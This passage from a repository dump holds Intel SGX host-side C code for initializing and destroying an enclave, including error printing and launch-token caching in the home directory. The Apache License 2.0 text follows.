print_error_message(sgx_status_t ret, const char* fn) 148 | { 149 | size_t idx = 0; 150 | size_t ttl = sizeof sgx_errlist/sizeof sgx_errlist[0]; 151 | 152 | for (idx = 0; idx < ttl; idx++) { 153 | if(ret == sgx_errlist[idx].err) { 154 | if(NULL != sgx_errlist[idx].sug) 155 | printf("Info: %s from %s\n", sgx_errlist[idx].sug, fn); 156 | printf("Error: %s from %s\n", sgx_errlist[idx].msg, fn); 157 | break; 158 | } 159 | } 160 | 161 | if (idx == ttl) 162 | printf("Error: Unexpected error occurred: %d from %s.\n", ret, fn); 163 | } 164 | 165 | /* Initialize the enclave: 166 | * Step 1: try to retrieve the launch token saved by last transaction 167 | * Step 2: call sgx_create_enclave to initialize an enclave instance 168 | * Step 3: save the launch token if it is updated 169 | */ 170 | int _initialize_enclave(void) 171 | { 172 | char token_path[MAX_PATH] = {'\0'}; 173 | sgx_launch_token_t token = {0}; 174 | sgx_status_t ret = SGX_ERROR_UNEXPECTED; 175 | int updated = 0; 176 | 177 | /* Step 1: try to retrieve the launch token saved by last transaction 178 | * * * * if there is no token, then create a new one. 179 | * * * */ 180 | /* try to get the token saved in $HOME */ 181 | const char *home_dir = getpwuid(getuid())->pw_dir; 182 | 183 | if (home_dir != NULL && 184 | (strlen(home_dir)+strlen("/")+sizeof(TOKEN_FILENAME)+1) <= MAX_PATH) { 185 | /* compose the token path */ 186 | strncpy(token_path, home_dir, strlen(home_dir)); 187 | strncat(token_path, "/", strlen("/")); 188 | strncat(token_path, TOKEN_FILENAME, sizeof(TOKEN_FILENAME)+1); 189 | } else { 190 | /* if token path is too long or $HOME is NULL */ 191 | strncpy(token_path, TOKEN_FILENAME, sizeof(TOKEN_FILENAME)); 192 | } 193 | 194 | FILE *fp = fopen(token_path, "rb"); 195 | if (fp == NULL && (fp = fopen(token_path, "wb")) == NULL) { 196 | printf("Warning: Failed to create/open the launch token file \"%s\".\n", token_path); 197 | } 198 | if (fp != NULL) { 199 | /* read the token from saved file */ 200 | size_t read_num = fread(token, 1, sizeof(sgx_launch_token_t), fp); 201 | if (read_num != 0 && read_num != sizeof(sgx_launch_token_t)) { 202 | /* if token is invalid, clear the buffer */ 203 | memset(&token, 0x0, sizeof(sgx_launch_token_t)); 204 | printf("Warning: Invalid launch token read from \"%s\".\n", token_path); 205 | } 206 | } 207 | 208 | /* Step 2: call sgx_create_enclave to initialize an enclave instance */ 209 | /* Debug Support: set 2nd parameter to 1 */ 210 | ret = sgx_create_enclave(ENCLAVE_FILENAME, SGX_DEBUG_FLAG, &token, &updated, &global_eid, NULL); 211 | if (ret != SGX_SUCCESS) { 212 | print_error_message(ret, __func__); 213 | if (fp != NULL) fclose(fp); 214 | return 0; 215 | } 216 | /* Step 3: save the launch token if it is updated */ 217 | if (updated == FALSE || fp == NULL) { 218 | /* if the token is not updated, or file handler is invalid, do not perform saving */ 219 | if (fp != NULL) fclose(fp); 220 | return 0; 221 | } 222 | 223 | /* reopen the file with write capablity */ 224 | fp = freopen(token_path, "wb", fp); 225 | if (fp == NULL) return 0; 226 | size_t write_num = fwrite(token, 1, sizeof(sgx_launch_token_t), fp); 227 | if (write_num != sizeof(sgx_launch_token_t)) 228 | printf("Warning: Failed to save launch token to \"%s\".\n", token_path); 229 | fclose(fp); 230 | return 0; 231 | } 232 | 233 | void initialize_enclave(void) { 234 | if (_initialize_enclave() < 0) { 235 | printf("Enclave initialization error!\n"); 236 | exit(-1); 237 | } 238 | } 239 | 240 | void destroy_enclave(void) { 241 | if (global_eid != 0) { 242 | //printf("Destroying enclave %lu!\n", global_eid); 243 | sgx_destroy_enclave(global_eid); 244 | } else { 245 | printf("Cannot destroy a non-initialized enclave!\n"); 246 | } 247 | } 248 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | --------------------------------------------------------------------------------